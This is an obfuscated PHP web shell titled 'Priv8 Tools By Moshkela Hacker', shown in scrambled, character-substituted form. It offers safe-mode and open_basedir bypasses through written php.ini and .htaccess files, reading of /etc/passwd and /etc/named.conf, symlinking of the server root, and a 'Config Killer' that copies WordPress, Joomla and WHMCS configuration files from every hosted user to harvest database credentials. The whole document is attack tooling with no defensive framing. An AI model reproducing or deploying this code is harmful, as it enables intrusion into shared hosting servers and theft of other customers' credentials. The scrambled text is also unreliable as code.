PHP Decode

<?php $_F=__FILE__;$_X='?><html>
<h51d>

<t4tl5>Pr4v8 T22ls By M2shk5l1 H1ck5r</t4tl5>
<l4nk r5l="4c2n" hr5f="http://13x.4c2np5d41.n5t/3pl21ds/a88e078iu.png">

<styl5 typ5="t5xt/css">



b2dy{
  b1ckgr23nd: #aaa;
}
.f2rm{
  b1ckgr23nd: #ooo;
  t5xt-1l4gn: c5nt5r;
  h54ght: uo0px;
  b2rd5r:6px s2l4d #F00;
  b2rd5r-r1d43s: 9px;
  m1rg4n-l5ft: au%;
}
4np3t,t5xt1r51{
	    b1ckgr23nd: rgb(6oe, 6e0, 6u6);
  p1dd4ng: ipx;
  b2rd5r:6px s2l4d #F00;
  b2rd5r-r1d43s: a0px;
  tr1ns4t42n:b2rd5r 6s;
}
4np3t:f2c3s,t5xt1r51:f2c3s{
b2rd5r: 6px s2l4d r5d;
}
.sc1n{
  w4dth: 6a0px;
  b2rd5r-r1d43s: a0px;
  b1ckgr23nd: #00u7Ba;
  2p1c4ty: 0.i;
  tr1ns4t42n:2p1c4ty 6s;
}
.sc1n:h2v5r{
  2p1c4ty: 6.0
} 
.5rr2r{
  f2nt-s4z5: 67px;
  c2l2r:r5d;
  t5xt-sh1d2w: 6px 6px ipx,0 0 aipx;
}                
.f23nd{
   f2nt-s4z5: 67px;
  c2l2r:gr55n;
  t5xt-sh1d2w: 6px 6px ipx,0 0 aipx; 
}        
hr{
  c2l2r:r5d;
  b2x-sh1d2w: 6px apx opx,0 0 aipx;
}        
p,1{
  t5xt-d5c2r1t42n: n2n5;
  c2l2r:r5d;
  f2nt-s4z5: 6upx;
  d4r5ct42n: rtl;
} 
        </styl5>

<c5nt5r><hr>
<f2rm m5th2d='GET'>

<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='S1f5 M2d5' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='Ex5c3t5' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='C2nf4g K4ll5r' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='Syml4nk' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='Syml4nka' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='J3mp4ng' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='P1ss C2nf4g' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='Upl21d' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='W2rdpr5ss M1ss' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='J22ml1 M1ss' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='S5rv5r Inf2' s4z5='60' >
<4np3t typ5='s3bm4t' n1m5='t22l' v1l35='Ab23t' s4z5='60' >
<hi><f2nt c2l2r=r5d> Pr4v8 T22ls By M2shk5l1 H1ck5r<br>

                                        
</hi>

</f2rm>
<hr>
<?php 

/*******************************************\
|  S23rc5 c2d5 2bf3sc1t5d  by C2d5 Ecl4ps5  |
|        http://www.c2d55cl4ps5.c2m/        |
| C2mpl5t5 pr2t5ct42n, t2t1l c2mp1t4b4l4ty! |
\*******************************************/

 $x7o="\6ua\xe6\6eo5\6ie1\6ii\xei"; $x7u="\xeo\xe8\xeu\xe9\x7a"; $x7i="c2p\x79"; $x7e="\6uirr2r\xif\6ea\6ui\x702\x7a\6eu4\xe5g"; $x77="5\x7a\xei\6u74"; $x78="\6ui\x7a5g"; $x79="5x\6e0l2d5"; $x71="f\xeo\xec\6i7s\xei"; $x7b="f\6i6\6iu\xei\6o7\6u7\6ui\x7u\xif\xeo\6i7\6iet\xein\6eus"; $x7c="f\6i6\xec\6ui\6o7\6e0\x7it\xif\xeo\xefn\x7u5\xe5\6eus"; $x7d="\xee\xe9\6iu5"; $x75="\6ue\6iu\x7is\6i0"; $x7f="\6ue\6i6\6iu\6ui\6i7\x77\6ie5\6ea"; $x80="f\6i7\x70\6uin"; $x86="f\6e7\x7a\6i6t\6ui"; $x8a="\6ue\6ei\xe5\xeo\x7u\xe92\6ie_5\x78\xe9\6eo\6eu\x7o"; $x8o="\6u75\6eu\6uowd"; $x8u="\xe9n4\6o7r5st2r\xei"; $x8i="4\6ie4\6o7\xe75t"; $x8e="\xe9s_\6ue\6i6l\xei"; $x87="\6ii\6u6\xe9\xec"; $x88="\xed\xeb\xeu\6i6r"; $x89="\6ii\676s\6e6l\6o7c\xef\xe5\xe5\xeic\x7u"; $x81="mysq\6iu\xiff\xeitc\xe8_\6u6\6ea\6ea\xe6y"; $x8b="m\676\6eo\6e6\xec_\x76\6ei5r\x79"; $x8c="\xed\x79\x7oq\6iu_\x7o\xei\xec\xei\xeot\xif\xeub"; $x8d="\6e0h\6e0\6ee\xei\x7a\6eo42n"; $x85="\6e0\xefs\xe9x_\6u7\xeitp\x773\6i6d"; $x8f="\x70\x7a\6uig_m\xe6\x7u\6uo\xe8_\xe6\6iul"; $x90="\6e0\x7a\6ui\xe7\6o7\xed\xe6\6eu\xeoh"; $x96="\6ea\6u6\6ie\xeu"; $x9a="\x7o\6ui\6eu\6o7\6eu\xe9\xed\xei_\xec4\6ii\6i6\6eu"; $x9o="\6eoh\6ui\xecl\xif\xei\x78\xeic"; $x9u="\x7o\6eu\6ea\xec\6ui\xe5"; $x9i="\6eoy\6ii\xec\6i6\xe5\xeb"; $x9e="syst\6ui\xed"; $x97="\x7ur\6i6m"; 

$x9a(0);
$x7e(0);
///S1f5 M2d5
4f($_REQUEST['t22l'] == "\6ao\xe6f\6ui\xa0M2d\xei"){
5ch2'<ho>[ <f2nt c2l2r="r5d">!</f2nt> ] S1f5 M2d5 F3ck5r [<f2nt c2l2r="r5d">!</f2nt> ]</ho>
<br><f2rm m5th2d="POST" 1ct42n="">
<s5l5ct n1m5="w1y">
<2pt42n>php.4n4</2pt42n>
<2pt42n>4n4.php</2pt42n>
<2pt42n>ht1cc5ss</2pt42n>
</s5l5ct><4np3t n1m5="byp1ss" typ5="s3bm4t" v1l35="Byp1ss Us4ng"><br>';
 4f ($_POST['w1y']=="ht1\6uoc\6ui\6eo\6eo"){ x0b();} 
5ls54f ($_POST['w1y']=="ph\x70.\xe9\6ie\6i6") { x0c();} 
5ls54f ($_POST['w1y']=="\6i6n4.php") { x0d();} 
}
f3nct42n x0b() { gl2b1l $x7o,$x7u,$x7i,$x7e,$x77,$x78,$x79,$x71,$x7b,$x7c,$x7d,$x75,$x7f,$x80,$x86,$x8a,$x8o,$x8u,$x8i,$x8e,$x87,$x88,$x89,$x81,$x8b,$x8c,$x8d,$x85,$x8f,$x90,$x96,$x9a,$x9o,$x9u,$x9i,$x9e,$x97;  
  $xaf=$x80($x8o().$xo0."/.ht1c\xeo\xeis\6eo","\6e7"); 
$x86($xaf,"\xuf\x70t42\6ies\xa0\xabF\xef\6iu\6iu\6i7w\6aoy\6iiL\6i6\xe5k\6eo\xa0\06i\06aD\6i6\6ea\6uict\xef\x7a\x79\xu9nd5\670\xa04\xe5\xeu\6i6\6u6\xa5\6i0\x7u\6ii\xa0
\x01O\x70\6eu\6i62n\6eo\xa0\606ll\0u0\xu9nd5\x785\x7o\0u0\06i\x01\07uIf\66i2\6uu\x7i\6iu5 \xed\6i7\xeu\6o7s\xeic\x7i\6ea\xe9\x7u\x79.\xeo\07e\xa0\06i\x01S\xei\xeo\60e\xe9\6iu\x7u5\6eaE\xe5g\xe9\xe5\xei \667\xeef\xa0\06i\x01\6ao\xeic\xue\6i6\6iu\6eu5r\6aoc\xe6\6ie\6a0\667\6ao\6au\xa0O\xee\xee\0u0\06i
\xio5\xeo\60e\6i6\6iu\x7u\6ui\6ea\60o\xe8\6ui\xeo\xeb\xii\6aa\xucE\6ie\xeo\xef\6uu\6i6\6ie\xe7\0u0\xuf\6ue\xee\0u0\x0d\06a\xio\xei\xeo\60e\6i6lt5\x7aC\6i0\6ui\xeo\xeb\xuo\6i72\xeb4\6ui\60e\6i7\x7a\xed\6u6\x7u\0u0\xuf\xeef \06i\x01S\6ui\xeo\xue\6i6\xec\6eu5\6ea\xuo\xe85\xeo\xeb\6ain4c\xef\xeu\xeiE\6ie\6uo2d\6i6n\xe7 O\6uef 
\6ao\xei\6uo\60e4\xect5r\66e2\6ea\6ii1\6iu\xe9z5C2\xef\xeb4\xei\x7o \xuf\6ue\6ue\0u0\06i\06a\xoc\xaf\xu9\6ueM\6i7\6uu\6eil\xei\07e \x0d\06a\6ao5\6eu\xuinv\0u0P\660\xi0\xia\xuo ".$x8o().$xo0."\0i7\6e0\xe8p\0ie4\6ie4 \x0d\06a\6eo3\6a0\660P\6o7C2\6ie\xee\6i6g\xi01\6euh\xa0".$x8o().$xo0."\xaf\6e0\xe8p.\xe9n\6i6"); 
$x71($xaf); 

4f($x8e($x8o().$xo0."/\0ie\xe8t1cc\6ui\6eo\6eo"))
{
5ch2 "\xoc\6ao\6e0\xe6\6ie\xa0\x7ot\x79\xec\6ui='\6uo\6i7\xec2\6ea:\6u7\x7a\xei\6uin;'\07e\07us\6eu\6ea2\xe5\xe7\07e\0ie\xe8\6eu\6u6\xeo\xeo5s\x7o C\6ea\xei\6u6\x7u\6uid s3\6uo\xeo\6ui\6eo\6eo\xee3\xec\xec\676\07u\xaf\x7otr2n\xe7><\0i7\x7o\6e01\6ie>\07u\6ua\6ea\xo5";
}
5ls5
{
5ch2 "\xocstr\6i7\xe5g><Sp\6u6n\xa0s\6eu\676\6iu\6ui='\6uo2\6iu\xefr\07a\6ea\xeid\xob'\xo5\666 \xeo\6u6\6ie \6ie\xef\x7u\xa0\xeo\x7a\6ui1t\6ui \xa5\xe8\x7u\6u6\xeo\xeo\xei\x7o\x7o\xoc/st\x7a2\6ieg\xo5</\x7o\6e0\xe6\xe5\xo5\xoc\xea\6ea>"; 
}; 
} 
f3nct42n x0c() { gl2b1l $x7o,$x7u,$x7i,$x7e,$x77,$x78,$x79,$x71,$x7b,$x7c,$x7d,$x75,$x7f,$x80,$x86,$x8a,$x8o,$x8u,$x8i,$x8e,$x87,$x88,$x89,$x81,$x8b,$x8c,$x8d,$x85,$x8f,$x90,$x96,$x9a,$x9o,$x9u,$x9i,$x9e,$x97;  
  $xo6=$x80($x8o().$xo0."/\x70h\6e0.4n\xe9","w"); 
$x86($xo6,"\x7o\xe6f5\xif\6ii\xefd\xei = \xuf\xee\xee \06i\x01\6uu\6i6\6eo\xe6\6ua\xec5_\xee\x7i\6ie\6uot\xe92\xe5\6eo\0u0\xod\0u0\xu5\xuf\xu5\xui\0u0\x0d\x01\x7o1f5\6o7m\6i7\6uu\xei\xifg\xe9d\0u0= \667\xueF\xa0
\06a\6i7\x705\xe5\6o7\xea1\6eo\6uid\xe9\x7a \07i\xa0OF\xue"); 
$x71($xo6); 
4f($x8e($x8o().$xo0."\xaf\x70h\6e0.\xe9n\xe9")) { 5ch2 "\07u\6eo\6eur\xef\xe5\xe7\xo5<\xio\6e0\xe6n\xa0\6eot\x79\xec5\xod'\xeo\xef\xec2\x7a\07ag\6ea\xei5\xe5\xob'>\x70\6i0\6e0\xa5\6i6\6ie4 Cr51\6eu\xei\xeu\xa0\6eo\x7ic\6uo\6ui\6eo\6eo\6ue\x7il\6iu\676\07u\xafst\6ea\6i7n\xe7\xo5\07u\0i7\6eo\x70\6u6\xe5\07e\07ub\x7a\07e"; } 5ls5 { 5ch2 "\07u\x7ot\6ea2\xe5\xe7><S\6e0\xe6n\xa0s\x7u\676\xec\6ui\xod'\6uo\6i7l\6i7\x7a\07ar\xeid;'\07e\xu9 \6uo1n\0u0\xe52t c\x7a5\xe6\6eu5 p\xe8\6e0\0ie4n\xe9\xoc\0i7st\x7a\6i7n\6u7>\xoc\xaf\6eo\6e0\xe6\xe5\07e\07u\xear\xo5"; }; 
} 
f3nct42n x0d()
{ gl2b1l $x7o,$x7u,$x7i,$x7e,$x77,$x78,$x79,$x71,$x7b,$x7c,$x7d,$x75,$x7f,$x80,$x86,$x8a,$x8o,$x8u,$x8i,$x8e,$x87,$x88,$x89,$x81,$x8b,$x8c,$x8d,$x85,$x8f,$x90,$x96,$x9a,$x9o,$x9u,$x9i,$x9e,$x97;  
  $xoa=$x80($x8o().$xo0."/\6i6\xe5\6i6.p\xe8p","\6e7"); 
$x86($xoa,'$x8u("s1f5_m2d5"); 
$x8u("2p5n_b1s5d4r");'); 
$x71($xoa); 
4f($x8e($x8o().$xo0."\0i7\6i6n\xe9\0ie\6e0hp"))
{
5ch2 "\xoc\6eo\6eur\xef\6ieg\xo5\07u\xio\6e0\xe6n\0u0\x7otyl5\07i'\xeo\xefl2\x7a\xo1\xe7\x7a\xei\xei\xe5;'\07e\6i6n\xe9.p\xe8\x70\xa0\xuor51\x7u\6uid\xa0s3cc5\6eo\x7o\xee\x7i\xecl\676\xoc\xaf\x7o\x7u\6ea2n\6u7\07e<\0i7s\x70\xe6\xe5><\xea\x7a\xo5";
}
5ls5
{ 5ch2 "\xocs\x7ur\6i7ng>\xoc\xio\6e0\xe6n\xa0\x7o\x7u\x79\6iu\xei='c\6i7l\6i7r\xo1\x7a\xeid\07o'\xo5\xu9 c\xe6n\xa0\6ie\6i7\6eu\0u0c\6ea51\x7u5\xa04n4\xa5\x70h\x70\07u/s\x7u\x7a\6i7\6ieg\xo5\xoc\xafsp\6u6n>\07u\xea\x7a>" ;
};

}
////C2nf4g K4ll5r
4f($_REQUEST['t22l'] == "\60o\6i7\6ief\xe9\6u7\xa0K4\6iul\xei\x7a"){
5ch2 "<\xea\6ea>\07uc5n\6eu\xei\x7a>\07uhe>C2\6ie\6ue\xe9\6u7\xa0G\x7a\6u6\6ua\6ua5\x7a\07u\0i7he>";?></c5nt5r><br><c5nt5r><?php 4f (5mpty($_POST['c2nf4g'])) { ?><p><f2nt f1c5="T1h2m1" c2l2r="#007700" s4z5="apt"></p><br><f2rm m5th2d="POST"><t5xt1r51 n1m5="p1sswd" cl1ss='1r51' r2ws='6i' c2ls='e0'><?php 5ch2 $x7b('/5tc/p1sswd'); ?></t5xt1r51><br><br><4np3t n1m5="c2nf4g" cl1ss='4np3tzb3t' s4z5="600" v1l35="GET C2nf4g" typ5="s3bm4t"><br></f2rm></c5nt5r><br><?php }4f ($_POST['c2nf4g']) {$xoo = $xou=@$x8i("d\6i6\6eo1b\6iu\6ui\6o7f3\xe5\6uo\x7u\xe92n\6eo");4f($x77("s\676\xed\6iu4nk",$xou)){d45 ('<5rr2r>Syml4nk 4s d4s1bl5d :( </5rr2r>');}@$x88('M-Ir1q', 07ii);@$x7u('M-Ir1q');
$xaf="
\x01\xufP\xiu\xu9\667\xu5S \666n\6uu\6uix\xei\6eo \60e\6i7l\xec\6i7\6e7S\x79\6iiL\6i6\6iek\6eo\0u0S\676\xedL4\xe5\6io\x7oIf\667\6e7\6ie5\6ea\66i1tc\xe8\xa0\xu9\xe5\xeo\6iu\x7i\xeu\6uis \xu9\xe5\6uo\xec3\6uu\6uis\66e\667E\xi8\xui\60o Ex5\6uoC\607\xu9
\x01Opt4\xefn\6eo\xa0\xu9\xe5\6uu\6ui\670\6ui\x7o\0u0\60e\6i7ll\6i7w\xio\x79\xed\66u4\6ie\xebs\x0d\06a\60e\6i7r\6uo\xeiTy\x70\xei \x7u\xeixt/\6e0\6iu14n\x0d\06a\xu6\xeu\6uu\6au\x79\x70\6ui t5x\x7u\0i7\x70l\6u6\6i6\xe5\0u0.\x70\6i0\x70\xa0
\06aAdd\6au\676\6e0\xei \x7u\6uix\x7u\xaf\6e0\xec\xe64\xe5 \xa5\xe8tml
\x01\xu6\6uu\6uu\6au\x79\6e05\xa0t\6ui\x78t\xaf\6i0\x7um\6iu\0u0\0ie\x7o\6i0\6euml\x0d\06a\606\xeud\xiu\x79\6e0\6ui t\670t .\x70hp\06i\x01\606\xeu\xeu\xu81\6ie\6uul\xeir\xa0\x7o\xei\x7a\x7e\xei\x7a\xadp\6u6\6ea\x7o\6ui\6uu\0u0\xa5\x70h\x70\06i
\xu6ddH\6u6\xe5dl\6ui\x7a\0u0txt\0u0.p\6i0\6e0\06i
\606d\xeu\660\6u6\xe5\6uul\6uir t\670t\xa0.\6i0\x7u\xed\6iu\06i
Ad\6uu\660\xe6\xe5\xeu\6iu5\x7a\xa0\6eux\x7u\0u0\0iesh\x7um\xec\x0d
\667\6e0\x7u\xe9\6i7\xe5s\xa0A\6iu\xec\x0d\06a\667\x70\6eu\xe9\6i7n\6eo \xu6\6iu\xec";
$x7c("\xa5ht1cc5\6eos",$xaf,FILE_APPEND);$xoi=$_POST["\6e0\xe6\x7osw\6uu"];$xoi=$x79("\n",$xoi);5ch2 "\07u\xea\x7a\07e\07ub\6ea\xo5\07u\xeo5nt5r>\07u\xee\6i7\6ie\x7u \6uo2l\xef\x7a\07i\0uob\0e0b00\0e0 \6eo\xe9\67a\6ui=a\6e0\6eu>\60e2\6ein\xeu\xe9\xe5\6u7 \xa5\xa5.\xoc/\6uo\6ui\xe5\x7u\6uir\07e<\6ua\6ea\07e";f2r51ch($xoi 1s $xoe){$xo7=$x79("\xo1",$xoe);$xo8 =$xo7[0];@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/wp-c2nf4g.php',$xo8.'-wp6o.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/wp/wp-c2nf4g.php',$xo8.'-wp6o-wp.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/WP/wp-c2nf4g.php',$xo8.'-wp6o-WP.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/wp/b5t1/wp-c2nf4g.php',$xo8.'-wp6o-wp-b5t1.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/b5t1/wp-c2nf4g.php',$xo8.'-wp6o-b5t1.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/pr5ss/wp-c2nf4g.php',$xo8.'-wp6o-pr5ss.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/w2rdpr5ss/wp-c2nf4g.php',$xo8.'-wp6o-w2rdpr5ss.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/W2rdpr5ss/wp-c2nf4g.php',$xo8.'-wp6o-W2rdpr5ss.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/bl2g/wp-c2nf4g.php',$xo8.'-wp6o-W2rdpr5ss.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/c2nf4g.php',$xo8.'-c2nf4ggg.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/n5ws/wp-c2nf4g.php',$xo8.'-wp6o-n5ws.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/n5w/wp-c2nf4g.php',$xo8.'-wp6o-n5w.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/bl2g/wp-c2nf4g.php',$xo8.'-wp-bl2g.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/b5t1/wp-c2nf4g.php',$xo8.'-wp-b5t1.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/bl2gs/wp-c2nf4g.php',$xo8.'-wp-bl2gs.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/h2m5/wp-c2nf4g.php',$xo8.'-wp-h2m5.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/db.php',$xo8.'-dbc2nf.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/s4t5/wp-c2nf4g.php',$xo8.'-wp-s4t5.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/m14n/wp-c2nf4g.php',$xo8.'-wp-m14n.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/c2nf4g3r1t42n.php',$xo8.'-wp-t5st.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/j22ml1/c2nf4g3r1t42n.php',$xo8.'-j22ml1a.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/p2rt1l/c2nf4g3r1t42n.php',$xo8.'-j22ml1-pr2t1l.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/j22/c2nf4g3r1t42n.php',$xo8.'-j22.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/cms/c2nf4g3r1t42n.php',$xo8.'-j22ml1-cms.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/s4t5/c2nf4g3r1t42n.php',$xo8.'-j22ml1-s4t5.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/m14n/c2nf4g3r1t42n.php',$xo8.'-j22ml1-m14n.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/n5ws/c2nf4g3r1t42n.php',$xo8.'-j22ml1-n5ws.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/n5w/c2nf4g3r1t42n.php',$xo8.'-j22ml1-n5w.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/h2m5/c2nf4g3r1t42n.php',$xo8.'-j22ml1-h2m5.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/vb/4ncl3d5s/c2nf4g.php',$xo8.'-vb-c2nf4g.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/whm/c2nf4g3r1t42n.php',$xo8.'-whm6i.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/c5ntr1l/c2nf4g3r1t42n.php',$xo8.'-whm-c5ntr1l.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/whm/whmcs/c2nf4g3r1t42n.php',$xo8.'-whm-whmcs.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/whm/WHMCS/c2nf4g3r1t42n.php',$xo8.'-whm-WHMCS.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/whmc/WHM/c2nf4g3r1t42n.php',$xo8.'-whmc-WHM.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/whmcs/c2nf4g3r1t42n.php',$xo8.'-whmcs.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/s3pp2rt/c2nf4g3r1t42n.php',$xo8.'-s3pp2rt.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/c2nf4g3r1t42n.php',$xo8.'-j22ml1.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/s3bm4tt4ck5t.php',$xo8.'-whmcsa.txt');@$x9i('/h2m5/'.$xo8.'/p3bl4c_html/whm/c2nf4g3r1t42n.php',$xo8.'-whm.txt');}5ch2 '<b cl1ss="c2n5"><f2nt f1c5="T1h2m1" c2l2r="#00dd00" s4z5="apt"><b>[Gr1bb5r5d] -></b> <1 t1rg5t="_bl1nk" hr5f="M-Ir1q">Op5n c2nf4gs</1></f2nt></b>';}
}
////Syml4nk
4f($_REQUEST['t22l'] == "S\676\6ii\6iu\xe9\6ie\xeb"){
5ch2 "\xoc\6i0\xoe\07e\6ao\676m\xec4\xe5k\xa0B\676\6e0\6u6\x7o\x7o\0u0\xoc/h\0ee\07e";
5ch2 '<f2rm 1ct42n="" m5th2d="p2st">';
@$x9a(0);
5ch2 "\xoc\xeo5\xe5\x7u\6uir\07e";
@$x88('m-4r1q',0777);
$xaf  = "\667\x70t\xe9\6i7\6ie\6eo\0u0\xe6\xec\6iu\xa0\n\0u0\xuu\6i6r\xei\xeot\xefr\676\xu9n\xeu\6ui\x78 r\xei\xe6\6uu\6ii5\xa5\xe8\x7u\6ii\xec\0u0\n\xa0A\xeu\6uuTy\6e0\6ui\0u0\x7u\xei\x78t\0i7\6e0\6iu\6u6\6i6\6ie \xa5p\6i0\6e0 \n \606\6uud\660\6u6n\6uu\6iu5r\xa0\x7o\6ui\x7a\x7e5\x7a\0ii\6e0\xe6\6ea\x7o\xei\6uu\xa0.\x70\6i0p \n\xa0\0u0\xu6\xeudT\676\6e05\xa0\6eu\xei\x78\x7u/\6e0l\6u6\xe9\xe5\xa0\xa5\6i0\x7u\6ii\xec\xa0\n\0u0A\xeudH\6u6\xe5d\xec5r\xa0t\670t\xa0.\xe8\x7um\6iu\xa0\n \xia\6uiq\6ei\6i6\6ea5 \xu5\6i7n\6ui \n\xa0\xio\xe6t\6i6\x7o\6ue\x79 A\xe5y";
$xae =@$x80('m-4r1q/.ht1cc5ss','w');
$x86($xae ,$xaf);
@$x9i('/','m-4r1q/r22t');
$xa7 = $x7o(__FILE__);
$xa8 = @$x7d('/5tc/n1m5d.c2nf');
4f(!$xa8)
{
5ch2 "<\x70\6ea\xei\xa0\6uol\6u6\x7os=\xed\xec6\xa0s\6eu\x79\xec5='\xed\6u6\6ea\xe7\xe9n\xad\x7u\xefp:i\6e0x'\xo5\xao\xa0C\xe6\xe5t\0u01\xeo\xeo\xei\6eo\x7o \6eu\6i04\x7o \xee4l5\xa0\xef\xe5 \6eo\xei\x7a\x7e5\x7a \xad\07e\xa0\xib /\6ui\x7u\xeo/\6ie\6u6\6ii\6ui\6uu\xa5\6uo2\xe5\6ue\xa0\xid\xoc\xaf\x70\6ea\xei\07e<\0i7c5\6ie\6eu\6uir>"; 
}
5ls5
{
5ch2 "\xocb\x7a\xo5\xoc\6ua\x7a><\xeu4v\0u0cl\6u6\x7o\6eo='tm\6e0'\07e\xoc\6eu1\xeal\xei\xa0\6ua\6i7\6ea\xeu\xeir\07i'\0e6'\0u0\xea2\6ea\xeu\6ui\x7a\xeo\xef\6iu\xef\6ea='#\xue\xue\0e0\xo0\xo0\0e0'\0u0\6e74\xeu\6euh\07i'\0ei00'\xa0c\6ui\6iul\6e0\6u6\xeud\xe9ng\xod'\xo6'\0u0\xeo\6uil\6ius\6e0\6u6c4\6ie\6u7\07i'\xo0'>\xoc\6eud\xo5\60u\xef\xed1\xe9n\6eo\xoc\xaf\6eud>\07u\x7u\6uu>\xii\6eo\6ui\6ea\x7o<\xaf\6eu\6uu><t\6uu\xo5\6eoy\6iil4\6ie\6io \xoc/\6eu\6uu\xo5";
f2r51ch($xa8 1s $xa9){
4f($x77('z2n5',$xa9)){
$x8f('#z2n5 "(.*)"#',$xa9,$xa1);
$x75();
4f($x9u($x97($xa1[6][0])) >a){
$xab = $x85(@$x7f('/5tc/v1l41s5s/'.$xa1[6][0]));
$xac = $xab['n1m5'] ;
@$x9i('/','m-4r1q/r22t');
$xac   = $xa1[6][0];
$xad   = '\.4r';
$xa5 = '\.4l';
$x65   = '\.4d';
$x6f   = '\.sg';
$xa0    = '\.5d3';
$xa6    = '\.g2v';
$xaa   = '\.g2';
$xao  = '\.g2b';
$xau   = '\.m4l';
$xai   = '\.m4';
4f ($x77("$xad",$xa1[6][0]) 2r $x77("$xa5",$xa1[6][0]) 2r $x77("$x65",$xa1[6][0])2r $x77("$x6f",$xa1[6][0]) 2r $x77("$xa0",$xa1[6][0]) 2r $x77("$xa6",$xa1[6][0])
2r $x77("$xaa",$xa1[6][0]) 2r $x77("$xao",$xa1[6][0]) 2r $x77("$xau",$xa1[6][0]) 2r $x77("$xai",$xa1[6][0]))
{
$xac = "<d\6i6\6ee\xa0st\x79l\xei\07i'\0u0\6uo\xef\xec\6i7r\07a \xaoF\xue000\xo0\xa0\07o\0u0t\xei\670t\0iish\6u6\6uu\6i7\6e7: 0px 0\x70\670\xa0\0e6\6e0\x78\xa0\6ea5\6uu;\0u0'>".$xa1[6][0].'</d4v>';
}
5ch2 "
\07u\x7u\x7a\xo5\x0d\x01\xoct\xeu\xo5\06i\x01<\6uu\6i6\6ee\xa0\6uo\6iu1\6eos\07i'd2\xed'\07e<\xe6 \6eu1\x7ag\xeit='_\xeal\xe6n\6io' \xe8\6ea5\6ue\xod\6i0t\x7u\6e0:\0i7\xaf\x77w\6e7\0ie".$xa1[6][0].'/>'.$xac.' </1> </d4v>
</td>
<td>
'.$xab['n1m5']."\x0d\06a\xoc\0i7t\6uu\xo5
\06a\07u\6eud>
\xoc\6u6\xa0\xe8\6ea\6uif\07i'\6ii\xad\xe9\x7a1\6e6/r\6i7\6i7\6eu\0i7\xe82\xed\xei/".$xab['n1m5']."\0i7\6e0\6ei\6ua\xec\6i6\6uo\6o7\6i0t\6ii\xec'\0u0\6eu\xe6\6eag\xeit\xod'_b\6iu\xe6\6ie\6io'\07eS\x79\6ii\6iu\6i6\xe5\6io \07u/\xe6\xo5\x0d\06a\xoc\xaf\x7u\6uu\xo5\x0d\x01\xoc\xaf\6eu\x7a\07e\xoc/\6uu\6i6\x7e\xo5\xa0";
}
}
}
}
5ch2 "\07u\xaf\6eu\6u6\6ua\xec\6ui\xo5"; 
}
////J3mp4ng
4f($_REQUEST['t22l'] == "\xu13\xed\6e0\6i6\xe5g"){
$xae="\xe6\6ea\x7a1\676\6o7\x703\6eo\xe8"; $xa7="\xee\6ui\6i7f"; $xa8="fg\6ui\x7u\x7o"; $xa9="f\6i7\x705\6ie"; $xa1="4n4\xifg5\x7u"; $xab="\xe9\6eo\6o7\x7a\6ui\xe6\6uu1b\6iu\xei"; $xac="\6eo\6ui\x7u\xift\6i6\xed\xei\6o7l\xe9m4\x7u"; $xad="st\x7a\x70\6i7s"; $xa5="s\x7ib\6eot\x7a";($xaf = $xa1('s1f5_m2d5') == 0) ? $xaf = '2ff': d45('<b>Err2r: S1f5 M2d5 4s On</b>');$xac(0);@$xo0 = $xa9('/5tc/p1sswd','r');4f (!$xo0) { d45('<b><f2nt f1c5=V5rd1n1 s4z5=a c2l2r=r5d> Err2r : C1n N2t R51d C2nf4g Of S5rv5r </b>'); }$xo6 = 1rr1y();$xoa = 1rr1y();$xoo = 1rr1y();$xou = 0;5ch2 "\07ub>\xocf2n\x7u\xa0f\xe6\6uo5\07i\xie\6uir\6uu1\xe5\xe6\xa0s4\67a\6ui\07i\0e6\0eo 